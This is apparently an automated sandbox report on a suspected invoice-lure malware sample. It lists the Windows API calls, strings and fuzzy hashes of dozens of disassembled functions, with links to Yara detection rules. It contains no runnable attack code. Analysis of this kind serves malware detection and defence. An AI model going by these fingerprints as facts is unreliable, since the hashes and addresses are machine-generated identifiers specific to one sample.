                                                                                            • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                            • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                            • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                            • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                            • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                            • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                            • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CursorLoad
                                                                                            • String ID:
                                                                                            • API String ID: 3238433803-0
                                                                                            • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                            • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                            • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                            • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                            Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                            • _wcslen.LIBCMT ref: 00460B00
                                                                                            • __swprintf.LIBCMT ref: 00460B9E
                                                                                            • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                            • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                            • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                            • GetParent.USER32(?), ref: 00460D40
                                                                                            • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                            • String ID: %s%u
                                                                                            • API String ID: 1899580136-679674701
                                                                                            • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                            • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                            • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                            • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                            Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                            • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                            • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                            • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                            • API String ID: 2485709727-934586222
                                                                                            • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                            • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                            • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                            • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                            Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                            • String ID: HH
                                                                                            • API String ID: 3381189665-2761332787
                                                                                            • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                            • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                            • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                            • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                            Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDC.USER32(00000000), ref: 00434585
                                                                                            • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                            • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                            • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                            • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                            • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                            • String ID: (
                                                                                            • API String ID: 3300687185-3887548279
                                                                                            • Opcode ID: 850e4e4f4a3144c0c65e94ebd0f1e451ef245c66964f5ba666016bedf541cb72
                                                                                            • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                            • Opcode Fuzzy Hash: 850e4e4f4a3144c0c65e94ebd0f1e451ef245c66964f5ba666016bedf541cb72
                                                                                            • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                            Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                            • __swprintf.LIBCMT ref: 0045E4D9
                                                                                            • _printf.LIBCMT ref: 0045E595
                                                                                            • _printf.LIBCMT ref: 0045E5B7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: LoadString_printf$__swprintf_wcslen
                                                                                            • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                            • API String ID: 3590180749-2894483878
                                                                                            • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                            • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                            • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                            • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                            Function 0046F90E Relevance: 21.1, APIs: 14, Instructions: 147windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                            • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                            • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                            • DeleteObject.GDI32(?), ref: 0046F950
                                                                                            • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                            • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                            • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                            • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                            • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                            • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                            • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                            • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                            • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                            • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                            • String ID:
                                                                                            • API String ID: 3412594756-0
                                                                                            • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                            • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                            • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                            • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                            Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                              • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                            • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                            • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                            • API String ID: 4013263488-4113822522
                                                                                            • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                            • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                            • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                            • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                            Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                            • String ID:
                                                                                            • API String ID: 228034949-0
                                                                                            • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                            • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                            • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                            • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                            Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                            • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                            • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                            • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                            • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                            • DeleteObject.GDI32(?), ref: 00433603
                                                                                            • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                            • String ID:
                                                                                            • API String ID: 3969911579-0
                                                                                            • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                            • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                            • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                            • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                            Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetParent.USER32 ref: 00445A8D
                                                                                            • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                            • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                            • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                            • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                            • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                            • API String ID: 3125838495-3381328864
                                                                                            • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                            • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                            • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                            • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                            Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CopyVariant$ErrorLast
                                                                                            • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                            • API String ID: 2286883814-4206948668
                                                                                            • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                            • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                            • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                            • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                            Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                              • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                            • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                            • _wcscpy.LIBCMT ref: 00475F18
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                            • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                            • API String ID: 3052893215-4176887700
                                                                                            • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                            • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                            • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                            • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                            Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
